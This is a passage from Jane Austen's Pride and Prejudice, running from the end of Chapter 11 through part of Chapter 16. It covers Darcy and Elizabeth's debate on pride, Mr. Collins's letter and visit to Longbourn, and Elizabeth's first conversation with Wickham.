dare say, but it would not be +near so much like a ball." + +Miss Bingley made no answer, and soon afterwards she got up and walked +about the room. Her figure was elegant, and she walked well; but +Darcy, at whom it was all aimed, was still inflexibly studious. In +the desperation of her feelings, she resolved on one effort more, and, +turning to Elizabeth, said: + +"Miss Eliza Bennet, let me persuade you to follow my example, and take a +turn about the room. I assure you it is very refreshing after sitting so +long in one attitude." + +Elizabeth was surprised, but agreed to it immediately. Miss Bingley +succeeded no less in the real object of her civility; Mr. Darcy looked +up. He was as much awake to the novelty of attention in that quarter as +Elizabeth herself could be, and unconsciously closed his book. He was +directly invited to join their party, but he declined it, observing that +he could imagine but two motives for their choosing to walk up and down +the room together, with either of which motives his joining them would +interfere. "What could he mean? She was dying to know what could be his +meaning?"--and asked Elizabeth whether she could at all understand him? + +"Not at all," was her answer; "but depend upon it, he means to be severe +on us, and our surest way of disappointing him will be to ask nothing +about it." + +Miss Bingley, however, was incapable of disappointing Mr. Darcy in +anything, and persevered therefore in requiring an explanation of his +two motives. + +"I have not the smallest objection to explaining them," said he, as soon +as she allowed him to speak. "You either choose this method of passing +the evening because you are in each other's confidence, and have secret +affairs to discuss, or because you are conscious that your figures +appear to the greatest advantage in walking; if the first, I would be +completely in your way, and if the second, I can admire you much better +as I sit by the fire." + +"Oh! shocking!" cried Miss Bingley. "I never heard anything so +abominable. How shall we punish him for such a speech?" + +"Nothing so easy, if you have but the inclination," said Elizabeth. "We +can all plague and punish one another. Tease him--laugh at him. Intimate +as you are, you must know how it is to be done." + +"But upon my honour, I do _not_. I do assure you that my intimacy has +not yet taught me _that_. Tease calmness of manner and presence of +mind! No, no; I feel he may defy us there. And as to laughter, we will +not expose ourselves, if you please, by attempting to laugh without a +subject. Mr. Darcy may hug himself." + +"Mr. Darcy is not to be laughed at!" cried Elizabeth. "That is an +uncommon advantage, and uncommon I hope it will continue, for it would +be a great loss to _me_ to have many such acquaintances. I dearly love a +laugh." + +"Miss Bingley," said he, "has given me more credit than can be. +The wisest and the best of men--nay, the wisest and best of their +actions--may be rendered ridiculous by a person whose first object in +life is a joke." + +"Certainly," replied Elizabeth--"there are such people, but I hope I +am not one of _them_. I hope I never ridicule what is wise and good. +Follies and nonsense, whims and inconsistencies, _do_ divert me, I own, +and I laugh at them whenever I can. But these, I suppose, are precisely +what you are without." + +"Perhaps that is not possible for anyone. But it has been the study +of my life to avoid those weaknesses which often expose a strong +understanding to ridicule." + +"Such as vanity and pride." + +"Yes, vanity is a weakness indeed. But pride--where there is a real +superiority of mind, pride will be always under good regulation." + +Elizabeth turned away to hide a smile. + +"Your examination of Mr. Darcy is over, I presume," said Miss Bingley; +"and pray what is the result?" + +"I am perfectly convinced by it that Mr. Darcy has no defect. He owns it +himself without disguise." + +"No," said Darcy, "I have made no such pretension. I have faults enough, +but they are not, I hope, of understanding. My temper I dare not vouch +for. It is, I believe, too little yielding--certainly too little for the +convenience of the world. I cannot forget the follies and vices of others +so soon as I ought, nor their offenses against myself. My feelings +are not puffed about with every attempt to move them. My temper +would perhaps be called resentful. My good opinion once lost, is lost +forever." + +"_That_ is a failing indeed!" cried Elizabeth. "Implacable resentment +_is_ a shade in a character. But you have chosen your fault well. I +really cannot _laugh_ at it. You are safe from me." + +"There is, I believe, in every disposition a tendency to some particular +evil--a natural defect, which not even the best education can overcome." + +"And _your_ defect is to hate everybody." + +"And yours," he replied with a smile, "is willfully to misunderstand +them." + +"Do let us have a little music," cried Miss Bingley, tired of a +conversation in which she had no share. "Louisa, you will not mind my +waking Mr. Hurst?" + +Her sister had not the smallest objection, and the pianoforte was +opened; and Darcy, after a few moments' recollection, was not sorry for +it. He began to feel the danger of paying Elizabeth too much attention. + + + +Chapter 12 + + +In consequence of an agreement between the sisters, Elizabeth wrote the +next morning to their mother, to beg that the carriage might be sent for +them in the course of the day. But Mrs. Bennet, who had calculated on +her daughters remaining at Netherfield till the following Tuesday, which +would exactly finish Jane's week, could not bring herself to receive +them with pleasure before. Her answer, therefore, was not propitious, at +least not to Elizabeth's wishes, for she was impatient to get home. Mrs. +Bennet sent them word that they could not possibly have the carriage +before Tuesday; and in her postscript it was added, that if Mr. Bingley +and his sister pressed them to stay longer, she could spare them +very well. Against staying longer, however, Elizabeth was positively +resolved--nor did she much expect it would be asked; and fearful, on the +contrary, as being considered as intruding themselves needlessly long, +she urged Jane to borrow Mr. Bingley's carriage immediately, and at +length it was settled that their original design of leaving Netherfield +that morning should be mentioned, and the request made. + +The communication excited many professions of concern; and enough was +said of wishing them to stay at least till the following day to work +on Jane; and till the morrow their going was deferred. Miss Bingley was +then sorry that she had proposed the delay, for her jealousy and dislike +of one sister much exceeded her affection for the other. + +The master of the house heard with real sorrow that they were to go so +soon, and repeatedly tried to persuade Miss Bennet that it would not be +safe for her--that she was not enough recovered; but Jane was firm where +she felt herself to be right. + +To Mr. Darcy it was welcome intelligence--Elizabeth had been at +Netherfield long enough. She attracted him more than he liked--and Miss +Bingley was uncivil to _her_, and more teasing than usual to himself. +He wisely resolved to be particularly careful that no sign of admiration +should _now_ escape him, nothing that could elevate her with the hope +of influencing his felicity; sensible that if such an idea had been +suggested, his behaviour during the last day must have material weight +in confirming or crushing it. Steady to his purpose, he scarcely spoke +ten words to her through the whole of Saturday, and though they were +at one time left by themselves for half-an-hour, he adhered most +conscientiously to his book, and would not even look at her. + +On Sunday, after morning service, the separation, so agreeable to almost +all, took place. Miss Bingley's civility to Elizabeth increased at last +very rapidly, as well as her affection for Jane; and when they parted, +after assuring the latter of the pleasure it would always give her +to see her either at Longbourn or Netherfield, and embracing her most +tenderly, she even shook hands with the former. Elizabeth took leave of +the whole party in the liveliest of spirits. + +They were not welcomed home very cordially by their mother. Mrs. Bennet +wondered at their coming, and thought them very wrong to give so much +trouble, and was sure Jane would have caught cold again. But their +father, though very laconic in his expressions of pleasure, was really +glad to see them; he had felt their importance in the family circle. The +evening conversation, when they were all assembled, had lost much of +its animation, and almost all its sense by the absence of Jane and +Elizabeth. + +They found Mary, as usual, deep in the study of thorough-bass and human +nature; and had some extracts to admire, and some new observations of +threadbare morality to listen to. Catherine and Lydia had information +for them of a different sort. Much had been done and much had been said +in the regiment since the preceding Wednesday; several of the officers +had dined lately with their uncle, a private had been flogged, and it +had actually been hinted that Colonel Forster was going to be married. + + + +Chapter 13 + + +"I hope, my dear," said Mr. Bennet to his wife, as they were at +breakfast the next morning, "that you have ordered a good dinner to-day, +because I have reason to expect an addition to our family party." + +"Who do you mean, my dear? I know of nobody that is coming, I am sure, +unless Charlotte Lucas should happen to call in--and I hope _my_ dinners +are good enough for her. I do not believe she often sees such at home." + +"The person of whom I speak is a gentleman, and a stranger." + +Mrs. Bennet's eyes sparkled. "A gentleman and a stranger! It is Mr. +Bingley, I am sure! Well, I am sure I shall be extremely glad to see Mr. +Bingley. But--good Lord! how unlucky! There is not a bit of fish to be +got to-day. Lydia, my love, ring the bell--I must speak to Hill this +moment." + +"It is _not_ Mr. Bingley," said her husband; "it is a person whom I +never saw in the whole course of my life." + +This roused a general astonishment; and he had the pleasure of being +eagerly questioned by his wife and his five daughters at once. + +After amusing himself some time with their curiosity, he thus explained: + +"About a month ago I received this letter; and about a fortnight ago +I answered it, for I thought it a case of some delicacy, and requiring +early attention. It is from my cousin, Mr. Collins, who, when I am dead, +may turn you all out of this house as soon as he pleases." + +"Oh! my dear," cried his wife, "I cannot bear to hear that mentioned. +Pray do not talk of that odious man. I do think it is the hardest thing +in the world, that your estate should be entailed away from your own +children; and I am sure, if I had been you, I should have tried long ago +to do something or other about it." + +Jane and Elizabeth tried to explain to her the nature of an entail. They +had often attempted to do it before, but it was a subject on which +Mrs. Bennet was beyond the reach of reason, and she continued to rail +bitterly against the cruelty of settling an estate away from a family of +five daughters, in favour of a man whom nobody cared anything about. + +"It certainly is a most iniquitous affair," said Mr. Bennet, "and +nothing can clear Mr. Collins from the guilt of inheriting Longbourn. +But if you will listen to his letter, you may perhaps be a little +softened by his manner of expressing himself." + +"No, that I am sure I shall not; and I think it is very impertinent of +him to write to you at all, and very hypocritical. I hate such false +friends. Why could he not keep on quarreling with you, as his father did +before him?" + +"Why, indeed; he does seem to have had some filial scruples on that +head, as you will hear." + +"Hunsford, near Westerham, Kent, 15th October. + +"Dear Sir,-- + +"The disagreement subsisting between yourself and my late honoured +father always gave me much uneasiness, and since I have had the +misfortune to lose him, I have frequently wished to heal the breach; but +for some time I was kept back by my own doubts, fearing lest it might +seem disrespectful to his memory for me to be on good terms with anyone +with whom it had always pleased him to be at variance.--'There, Mrs. +Bennet.'--My mind, however, is now made up on the subject, for having +received ordination at Easter, I have been so fortunate as to be +distinguished by the patronage of the Right Honourable Lady Catherine de +Bourgh, widow of Sir Lewis de Bourgh, whose bounty and beneficence has +preferred me to the valuable rectory of this parish, where it shall be +my earnest endeavour to demean myself with grateful respect towards her +ladyship, and be ever ready to perform those rites and ceremonies which +are instituted by the Church of England. As a clergyman, moreover, I +feel it my duty to promote and establish the blessing of peace in +all families within the reach of my influence; and on these grounds I +flatter myself that my present overtures are highly commendable, and +that the circumstance of my being next in the entail of Longbourn estate +will be kindly overlooked on your side, and not lead you to reject the +offered olive-branch. I cannot be otherwise than concerned at being the +means of injuring your amiable daughters, and beg leave to apologise for +it, as well as to assure you of my readiness to make them every possible +amends--but of this hereafter. If you should have no objection to +receive me into your house, I propose myself the satisfaction of waiting +on you and your family, Monday, November 18th, by four o'clock, and +shall probably trespass on your hospitality till the Saturday se'ennight +following, which I can do without any inconvenience, as Lady Catherine +is far from objecting to my occasional absence on a Sunday, provided +that some other clergyman is engaged to do the duty of the day.--I +remain, dear sir, with respectful compliments to your lady and +daughters, your well-wisher and friend, + +"WILLIAM COLLINS" + +"At four o'clock, therefore, we may expect this peace-making gentleman," +said Mr. Bennet, as he folded up the letter. "He seems to be a most +conscientious and polite young man, upon my word, and I doubt not will +prove a valuable acquaintance, especially if Lady Catherine should be so +indulgent as to let him come to us again." + +"There is some sense in what he says about the girls, however, and if +he is disposed to make them any amends, I shall not be the person to +discourage him." + +"Though it is difficult," said Jane, "to guess in what way he can mean +to make us the atonement he thinks our due, the wish is certainly to his +credit." + +Elizabeth was chiefly struck by his extraordinary deference for Lady +Catherine, and his kind intention of christening, marrying, and burying +his parishioners whenever it were required. + +"He must be an oddity, I think," said she. "I cannot make him +out.--There is something very pompous in his style.--And what can he +mean by apologising for being next in the entail?--We cannot suppose he +would help it if he could.--Could he be a sensible man, sir?" + +"No, my dear, I think not. I have great hopes of finding him quite the +reverse. There is a mixture of servility and self-importance in his +letter, which promises well. I am impatient to see him." + +"In point of composition," said Mary, "the letter does not seem +defective. The idea of the olive-branch perhaps is not wholly new, yet I +think it is well expressed." + +To Catherine and Lydia, neither the letter nor its writer were in any +degree interesting. It was next to impossible that their cousin should +come in a scarlet coat, and it was now some weeks since they had +received pleasure from the society of a man in any other colour. As for +their mother, Mr. Collins's letter had done away much of her ill-will, +and she was preparing to see him with a degree of composure which +astonished her husband and daughters. + +Mr. Collins was punctual to his time, and was received with great +politeness by the whole family. Mr. Bennet indeed said little; but the +ladies were ready enough to talk, and Mr. Collins seemed neither in +need of encouragement, nor inclined to be silent himself. He was a +tall, heavy-looking young man of five-and-twenty. His air was grave and +stately, and his manners were very formal. He had not been long seated +before he complimented Mrs. Bennet on having so fine a family of +daughters; said he had heard much of their beauty, but that in this +instance fame had fallen short of the truth; and added, that he did +not doubt her seeing them all in due time disposed of in marriage. This +gallantry was not much to the taste of some of his hearers; but Mrs. +Bennet, who quarreled with no compliments, answered most readily. + +"You are very kind, I am sure; and I wish with all my heart it may +prove so, for else they will be destitute enough. Things are settled so +oddly." + +"You allude, perhaps, to the entail of this estate." + +"Ah! sir, I do indeed. It is a grievous affair to my poor girls, you +must confess. Not that I mean to find fault with _you_, for such things +I know are all chance in this world. There is no knowing how estates +will go when once they come to be entailed." + +"I am very sensible, madam, of the hardship to my fair cousins, and +could say much on the subject, but that I am cautious of appearing +forward and precipitate. But I can assure the young ladies that I come +prepared to admire them. At present I will not say more; but, perhaps, +when we are better acquainted--" + +He was interrupted by a summons to dinner; and the girls smiled on each +other. They were not the only objects of Mr. Collins's admiration. The +hall, the dining-room, and all its furniture, were examined and praised; +and his commendation of everything would have touched Mrs. Bennet's +heart, but for the mortifying supposition of his viewing it all as his +own future property. The dinner too in its turn was highly admired; and +he begged to know to which of his fair cousins the excellency of its +cooking was owing. But he was set right there by Mrs. Bennet, who +assured him with some asperity that they were very well able to keep a +good cook, and that her daughters had nothing to do in the kitchen. He +begged pardon for having displeased her. In a softened tone she declared +herself not at all offended; but he continued to apologise for about a +quarter of an hour. + + + +Chapter 14 + + +During dinner, Mr. Bennet scarcely spoke at all; but when the servants +were withdrawn, he thought it time to have some conversation with his +guest, and therefore started a subject in which he expected him to +shine, by observing that he seemed very fortunate in his patroness. Lady +Catherine de Bourgh's attention to his wishes, and consideration for +his comfort, appeared very remarkable. Mr. Bennet could not have chosen +better. Mr. Collins was eloquent in her praise. The subject elevated him +to more than usual solemnity of manner, and with a most important aspect +he protested that "he had never in his life witnessed such behaviour in +a person of rank--such affability and condescension, as he had himself +experienced from Lady Catherine. She had been graciously pleased to +approve of both of the discourses which he had already had the honour of +preaching before her. She had also asked him twice to dine at Rosings, +and had sent for him only the Saturday before, to make up her pool of +quadrille in the evening. Lady Catherine was reckoned proud by many +people he knew, but _he_ had never seen anything but affability in her. +She had always spoken to him as she would to any other gentleman; she +made not the smallest objection to his joining in the society of the +neighbourhood nor to his leaving the parish occasionally for a week or +two, to visit his relations. She had even condescended to advise him to +marry as soon as he could, provided he chose with discretion; and had +once paid him a visit in his humble parsonage, where she had perfectly +approved all the alterations he had been making, and had even vouchsafed +to suggest some herself--some shelves in the closet up stairs." + +"That is all very proper and civil, I am sure," said Mrs. Bennet, "and +I dare say she is a very agreeable woman. It is a pity that great ladies +in general are not more like her. Does she live near you, sir?" + +"The garden in which stands my humble abode is separated only by a lane +from Rosings Park, her ladyship's residence." + +"I think you said she was a widow, sir? Has she any family?" + +"She has only one daughter, the heiress of Rosings, and of very +extensive property." + +"Ah!" said Mrs. Bennet, shaking her head, "then she is better off than +many girls. And what sort of young lady is she? Is she handsome?" + +"She is a most charming young lady indeed. Lady Catherine herself says +that, in point of true beauty, Miss de Bourgh is far superior to the +handsomest of her sex, because there is that in her features which marks +the young lady of distinguished birth. She is unfortunately of a sickly +constitution, which has prevented her from making that progress in many +accomplishments which she could not have otherwise failed of, as I am +informed by the lady who superintended her education, and who still +resides with them. But she is perfectly amiable, and often condescends +to drive by my humble abode in her little phaeton and ponies." + +"Has she been presented? I do not remember her name among the ladies at +court." + +"Her indifferent state of health unhappily prevents her being in town; +and by that means, as I told Lady Catherine one day, has deprived the +British court of its brightest ornament. Her ladyship seemed pleased +with the idea; and you may imagine that I am happy on every occasion to +offer those little delicate compliments which are always acceptable +to ladies. I have more than once observed to Lady Catherine, that +her charming daughter seemed born to be a duchess, and that the most +elevated rank, instead of giving her consequence, would be adorned by +her. These are the kind of little things which please her ladyship, and +it is a sort of attention which I conceive myself peculiarly bound to +pay." + +"You judge very properly," said Mr. Bennet, "and it is happy for you +that you possess the talent of flattering with delicacy. May I ask +whether these pleasing attentions proceed from the impulse of the +moment, or are the result of previous study?" + +"They arise chiefly from what is passing at the time, and though I +sometimes amuse myself with suggesting and arranging such little elegant +compliments as may be adapted to ordinary occasions, I always wish to +give them as unstudied an air as possible." + +Mr. Bennet's expectations were fully answered. His cousin was as absurd +as he had hoped, and he listened to him with the keenest enjoyment, +maintaining at the same time the most resolute composure of countenance, +and, except in an occasional glance at Elizabeth, requiring no partner +in his pleasure. + +By tea-time, however, the dose had been enough, and Mr. Bennet was glad +to take his guest into the drawing-room again, and, when tea was over, +glad to invite him to read aloud to the ladies. Mr. Collins readily +assented, and a book was produced; but, on beholding it (for everything +announced it to be from a circulating library), he started back, and +begging pardon, protested that he never read novels. Kitty stared at +him, and Lydia exclaimed. Other books were produced, and after some +deliberation he chose Fordyce's Sermons. Lydia gaped as he opened the +volume, and before he had, with very monotonous solemnity, read three +pages, she interrupted him with: + +"Do you know, mamma, that my uncle Phillips talks of turning away +Richard; and if he does, Colonel Forster will hire him. My aunt told me +so herself on Saturday. I shall walk to Meryton to-morrow to hear more +about it, and to ask when Mr. Denny comes back from town." + +Lydia was bid by her two eldest sisters to hold her tongue; but Mr. +Collins, much offended, laid aside his book, and said: + +"I have often observed how little young ladies are interested by books +of a serious stamp, though written solely for their benefit. It amazes +me, I confess; for, certainly, there can be nothing so advantageous to +them as instruction. But I will no longer importune my young cousin." + +Then turning to Mr. Bennet, he offered himself as his antagonist at +backgammon. Mr. Bennet accepted the challenge, observing that he acted +very wisely in leaving the girls to their own trifling amusements. +Mrs. Bennet and her daughters apologised most civilly for Lydia's +interruption, and promised that it should not occur again, if he would +resume his book; but Mr. Collins, after assuring them that he bore his +young cousin no ill-will, and should never resent her behaviour as any +affront, seated himself at another table with Mr. Bennet, and prepared +for backgammon. + + + +Chapter 15 + + +Mr. Collins was not a sensible man, and the deficiency of nature had +been but little assisted by education or society; the greatest part +of his life having been spent under the guidance of an illiterate and +miserly father; and though he belonged to one of the universities, he +had merely kept the necessary terms, without forming at it any useful +acquaintance. The subjection in which his father had brought him up had +given him originally great humility of manner; but it was now a +good deal counteracted by the self-conceit of a weak head, living in +retirement, and the consequential feelings of early and unexpected +prosperity. A fortunate chance had recommended him to Lady Catherine de +Bourgh when the living of Hunsford was vacant; and the respect which +he felt for her high rank, and his veneration for her as his patroness, +mingling with a very good opinion of himself, of his authority as a +clergyman, and his right as a rector, made him altogether a mixture of +pride and obsequiousness, self-importance and humility. + +Having now a good house and a very sufficient income, he intended to +marry; and in seeking a reconciliation with the Longbourn family he had +a wife in view, as he meant to choose one of the daughters, if he found +them as handsome and amiable as they were represented by common report. +This was his plan of amends--of atonement--for inheriting their father's +estate; and he thought it an excellent one, full of eligibility and +suitableness, and excessively generous and disinterested on his own +part. + +His plan did not vary on seeing them. Miss Bennet's lovely face +confirmed his views, and established all his strictest notions of what +was due to seniority; and for the first evening _she_ was his settled +choice. The next morning, however, made an alteration; for in a +quarter of an hour's tete-a-tete with Mrs. Bennet before breakfast, a +conversation beginning with his parsonage-house, and leading naturally +to the avowal of his hopes, that a mistress might be found for it at +Longbourn, produced from her, amid very complaisant smiles and general +encouragement, a caution against the very Jane he had fixed on. "As to +her _younger_ daughters, she could not take upon her to say--she could +not positively answer--but she did not _know_ of any prepossession; her +_eldest_ daughter, she must just mention--she felt it incumbent on her +to hint, was likely to be very soon engaged." + +Mr. Collins had only to change from Jane to Elizabeth--and it was soon +done--done while Mrs. Bennet was stirring the fire. Elizabeth, equally +next to Jane in birth and beauty, succeeded her of course. + +Mrs. Bennet treasured up the hint, and trusted that she might soon have +two daughters married; and the man whom she could not bear to speak of +the day before was now high in her good graces. + +Lydia's intention of walking to Meryton was not forgotten; every sister +except Mary agreed to go with her; and Mr. Collins was to attend them, +at the request of Mr. Bennet, who was most anxious to get rid of him, +and have his library to himself; for thither Mr. Collins had followed +him after breakfast; and there he would continue, nominally engaged with +one of the largest folios in the collection, but really talking to Mr. +Bennet, with little cessation, of his house and garden at Hunsford. Such +doings discomposed Mr. Bennet exceedingly. In his library he had been +always sure of leisure and tranquillity; and though prepared, as he told +Elizabeth, to meet with folly and conceit in every other room of the +house, he was used to be free from them there; his civility, therefore, +was most prompt in inviting Mr. Collins to join his daughters in their +walk; and Mr. Collins, being in fact much better fitted for a walker +than a reader, was extremely pleased to close his large book, and go. + +In pompous nothings on his side, and civil assents on that of his +cousins, their time passed till they entered Meryton. The attention of +the younger ones was then no longer to be gained by him. Their eyes were +immediately wandering up in the street in quest of the officers, and +nothing less than a very smart bonnet indeed, or a really new muslin in +a shop window, could recall them. + +But the attention of every lady was soon caught by a young man, whom +they had never seen before, of most gentlemanlike appearance, walking +with another officer on the other side of the way. The officer was +the very Mr. Denny concerning whose return from London Lydia came +to inquire, and he bowed as they passed. All were struck with the +stranger's air, all wondered who he could be; and Kitty and Lydia, +determined if possible to find out, led the way across the street, under +pretense of wanting something in an opposite shop, and fortunately +had just gained the pavement when the two gentlemen, turning back, had +reached the same spot. Mr. Denny addressed them directly, and entreated +permission to introduce his friend, Mr. Wickham, who had returned with +him the day before from town, and he was happy to say had accepted a +commission in their corps. This was exactly as it should be; for the +young man wanted only regimentals to make him completely charming. +His appearance was greatly in his favour; he had all the best part of +beauty, a fine countenance, a good figure, and very pleasing address. +The introduction was followed up on his side by a happy readiness +of conversation--a readiness at the same time perfectly correct and +unassuming; and the whole party were still standing and talking together +very agreeably, when the sound of horses drew their notice, and Darcy +and Bingley were seen riding down the street. On distinguishing the +ladies of the group, the two gentlemen came directly towards them, and +began the usual civilities. Bingley was the principal spokesman, and +Miss Bennet the principal object. He was then, he said, on his way to +Longbourn on purpose to inquire after her. Mr. Darcy corroborated +it with a bow, and was beginning to determine not to fix his eyes +on Elizabeth, when they were suddenly arrested by the sight of the +stranger, and Elizabeth happening to see the countenance of both as they +looked at each other, was all astonishment at the effect of the meeting. +Both changed colour, one looked white, the other red. Mr. Wickham, +after a few moments, touched his hat--a salutation which Mr. Darcy just +deigned to return. What could be the meaning of it? It was impossible to +imagine; it was impossible not to long to know. + +In another minute, Mr. Bingley, but without seeming to have noticed what +passed, took leave and rode on with his friend. + +Mr. Denny and Mr. Wickham walked with the young ladies to the door of +Mr. Phillip's house, and then made their bows, in spite of Miss Lydia's +pressing entreaties that they should come in, and even in spite of +Mrs. Phillips's throwing up the parlour window and loudly seconding the +invitation. + +Mrs. Phillips was always glad to see her nieces; and the two eldest, +from their recent absence, were particularly welcome, and she was +eagerly expressing her surprise at their sudden return home, which, as +their own carriage had not fetched them, she should have known nothing +about, if she had not happened to see Mr. Jones's shop-boy in the +street, who had told her that they were not to send any more draughts to +Netherfield because the Miss Bennets were come away, when her civility +was claimed towards Mr. Collins by Jane's introduction of him. She +received him with her very best politeness, which he returned with +as much more, apologising for his intrusion, without any previous +acquaintance with her, which he could not help flattering himself, +however, might be justified by his relationship to the young ladies who +introduced him to her notice. Mrs. Phillips was quite awed by such an +excess of good breeding; but her contemplation of one stranger was soon +put to an end by exclamations and inquiries about the other; of whom, +however, she could only tell her nieces what they already knew, that +Mr. Denny had brought him from London, and that he was to have a +lieutenant's commission in the ----shire. She had been watching him the +last hour, she said, as he walked up and down the street, and had Mr. +Wickham appeared, Kitty and Lydia would certainly have continued the +occupation, but unluckily no one passed windows now except a few of the +officers, who, in comparison with the stranger, were become "stupid, +disagreeable fellows." Some of them were to dine with the Phillipses +the next day, and their aunt promised to make her husband call on Mr. +Wickham, and give him an invitation also, if the family from Longbourn +would come in the evening. This was agreed to, and Mrs. Phillips +protested that they would have a nice comfortable noisy game of lottery +tickets, and a little bit of hot supper afterwards. The prospect of such +delights was very cheering, and they parted in mutual good spirits. Mr. +Collins repeated his apologies in quitting the room, and was assured +with unwearying civility that they were perfectly needless. + +As they walked home, Elizabeth related to Jane what she had seen pass +between the two gentlemen; but though Jane would have defended either +or both, had they appeared to be in the wrong, she could no more explain +such behaviour than her sister. + +Mr. Collins on his return highly gratified Mrs. Bennet by admiring +Mrs. Phillips's manners and politeness. He protested that, except Lady +Catherine and her daughter, he had never seen a more elegant woman; +for she had not only received him with the utmost civility, but even +pointedly included him in her invitation for the next evening, although +utterly unknown to her before. Something, he supposed, might be +attributed to his connection with them, but yet he had never met with so +much attention in the whole course of his life. + + + +Chapter 16 + + +As no objection was made to the young people's engagement with their +aunt, and all Mr. Collins's scruples of leaving Mr. and Mrs. Bennet for +a single evening during his visit were most steadily resisted, the coach +conveyed him and his five cousins at a suitable hour to Meryton; and +the girls had the pleasure of hearing, as they entered the drawing-room, +that Mr. Wickham had accepted their uncle's invitation, and was then in +the house. + +When this information was given, and they had all taken their seats, Mr. +Collins was at leisure to look around him and admire, and he was so much +struck with the size and furniture of the apartment, that he declared he +might almost have supposed himself in the small summer breakfast +parlour at Rosings; a comparison that did not at first convey much +gratification; but when Mrs. Phillips understood from him what +Rosings was, and who was its proprietor--when she had listened to the +description of only one of Lady Catherine's drawing-rooms, and found +that the chimney-piece alone had cost eight hundred pounds, she felt all +the force of the compliment, and would hardly have resented a comparison +with the housekeeper's room. + +In describing to her all the grandeur of Lady Catherine and her mansion, +with occasional digressions in praise of his own humble abode, and +the improvements it was receiving, he was happily employed until the +gentlemen joined them; and he found in Mrs. Phillips a very attentive +listener, whose opinion of his consequence increased with what she +heard, and who was resolving to retail it all among her neighbours as +soon as she could. To the girls, who could not listen to their cousin, +and who had nothing to do but to wish for an instrument, and examine +their own indifferent imitations of china on the mantelpiece, the +interval of waiting appeared very long. It was over at last, however. +The gentlemen did approach, and when Mr. Wickham walked into the room, +Elizabeth felt that she had neither been seeing him before, nor thinking +of him since, with the smallest degree of unreasonable admiration. +The officers of the ----shire were in general a very creditable, +gentlemanlike set, and the best of them were of the present party; but +Mr. Wickham was as far beyond them all in person, countenance, air, and +walk, as _they_ were superior to the broad-faced, stuffy uncle Phillips, +breathing port wine, who followed them into the room. + +Mr. Wickham was the happy man towards whom almost every female eye was +turned, and Elizabeth was the happy woman by whom he finally seated +himself; and the agreeable manner in which he immediately fell into +conversation, though it was only on its being a wet night, made her feel +that the commonest, dullest, most threadbare topic might be rendered +interesting by the skill of the speaker. + +With such rivals for the notice of the fair as Mr. Wickham and the +officers, Mr. Collins seemed to sink into insignificance; to the young +ladies he certainly was nothing; but he had still at intervals a kind +listener in Mrs. Phillips, and was by her watchfulness, most abundantly +supplied with coffee and muffin. When the card-tables were placed, he +had the opportunity of obliging her in turn, by sitting down to whist. + +"I know little of the game at present," said he, "but I shall be glad +to improve myself, for in my situation in life--" Mrs. Phillips was very +glad for his compliance, but could not wait for his reason. + +Mr. Wickham did not play at whist, and with ready delight was he +received at the other table between Elizabeth and Lydia. At first there +seemed danger of Lydia's engrossing him entirely, for she was a most +determined talker; but being likewise extremely fond of lottery tickets, +she soon grew too much interested in the game, too eager in making bets +and exclaiming after prizes to have attention for anyone in particular. +Allowing for the common demands of the game, Mr. Wickham was therefore +at leisure to talk to Elizabeth, and she was very willing to hear +him, though what she chiefly wished to hear she could not hope to be +told--the history of his acquaintance with Mr. Darcy. She dared not +even mention that gentleman. Her curiosity, however, was unexpectedly +relieved. Mr. Wickham began the subject himself. He inquired how far +Netherfield was from Meryton; and, after receiving her answer, asked in +a hesitating manner how long Mr. Darcy had been staying there. + +"About a month," said Elizabeth; and then, unwilling to let the subject +drop, added, "He is a man of very large property in Derbyshire, I +understand." + +"Yes," replied Mr. Wickham; "his estate there is a noble one. A clear +ten thousand per annum. You could not have met with a person more +capable of giving you certain information on that head than myself, for +I have been connected with his family in a particular manner from my +infancy." + +Elizabeth could not but look surprised. + +"You may well be surprised, Miss Bennet, at such an assertion, after +seeing, as you probably might, the very cold manner of our meeting +yesterday. Are you much acquainted with Mr. Darcy?" + +"As much as I ever wish to be," cried Elizabeth very warmly. "I have +spent four days in the same house with him, and I think him very +disagreeable." + +"I have no right to give _my_ opinion," said Wickham, "as to his being +agreeable or otherwise. I am not qualified to form one. I have known him +too long and too well to be a fair judge. It is impossible for _me_ +to be impartial. But I believe your opinion of him would in general +astonish--and perhaps you would not express it quite so strongly +anywhere else. Here you are in your own family." + +"Upon my word, I say no more _here_ than I might say in any house in +the neighbourhood, except Netherfield. He is not at all liked in +Hertfordshire. Everybody is disgusted with his pride. You will not find +him more favourably spoken of by anyone." + +"I cannot pretend to be sorry," said Wickham, after a short +interruption, "that he or that any man should not be estimated beyond +their deserts; but with _him_ I believe it does not often happen. The +world is blinded by his fortune and consequence, or frightened by his +high and imposing manners, and sees him only as he chooses to be seen." + +"I should take him, even on _my_ slight acquaintance, to be an +ill-tempered man." Wickham only shook his head. + +"I wonder," said he, at the next opportunity of speaking, "whether he is +likely to be in this country much longer." + +"I do not at all know; but I _heard_ nothing of his going away when I +was at Netherfield. I hope your plans in favour of the ----shire will +not be affected by his being in the neighbourhood." + +"Oh! no--it is not for _me_ to be driven away by Mr. Darcy. If _he_ +wishes to avoid seeing _me_, he must go. We are not on friendly terms, +and it always gives me pain to meet him, but I have no reason for +avoiding _him_ but what I might proclaim before all the world, a sense +of very great ill-usage, and most painful regrets at his being what he +is. His father, Miss Bennet, the late Mr. Darcy, was one of the best men +that ever breathed, and the truest friend I ever had; and I can never +be in company with this Mr. Darcy without being grieved to the soul by +a thousand tender recollections. His behaviour to myself has been +scandalous; but I verily believe I could forgive him anything and +everything, rather than his disappointing the hopes and disgracing the +memory of his father." + +Elizabeth found the interest of the subject increase, and listened with +all her heart; but the delicacy of it prevented further inquiry. + +Mr. Wickham began to speak on more general topics, Meryton, the +neighbourhood, the society, appearing highly pleased with all that +he had yet seen, and speaking of the latter with gentle but very +intelligible gallantry. + +"It was the prospect of constant society, and good society," he added, +"which was my chief inducement to enter the ----shire. I knew it to be +a most respectable, agreeable corps, and my friend Denny tempted me +further by his account of their present quarters, and the very great +attentions and excellent acquaintances Meryton had procured them. +Society, I own, is necessary to me. I have been a disappointed man, and +my spirits will not bear solitude. I _must_ have employment and society. +A military life is not what I was intended for, but circumstances have +now made it eligible. The church _ought_ to have been my profession--I +was brought up for the church, and I should at this time have been in +possession of a most valuable living, had it pleased the gentleman we +were speaking of just now." + +"Indeed!" + +"Yes--the late Mr. Darcy bequeathed me the next presentation of the best +living in his gift. He was my godfather, and excessively attached to me. +I cannot do justice to his kindness. He meant to provide for me amply, +and thought he had done it; but when the living fell, it was given +elsewhere." + +"Good heavens!" cried Elizabeth; "but how could _that_ be? How could his +will be disregarded? Why did you not seek legal redress?" + +"There was just such an informality in the terms of the bequest as to +give me no hope from law. A man of honour could not have 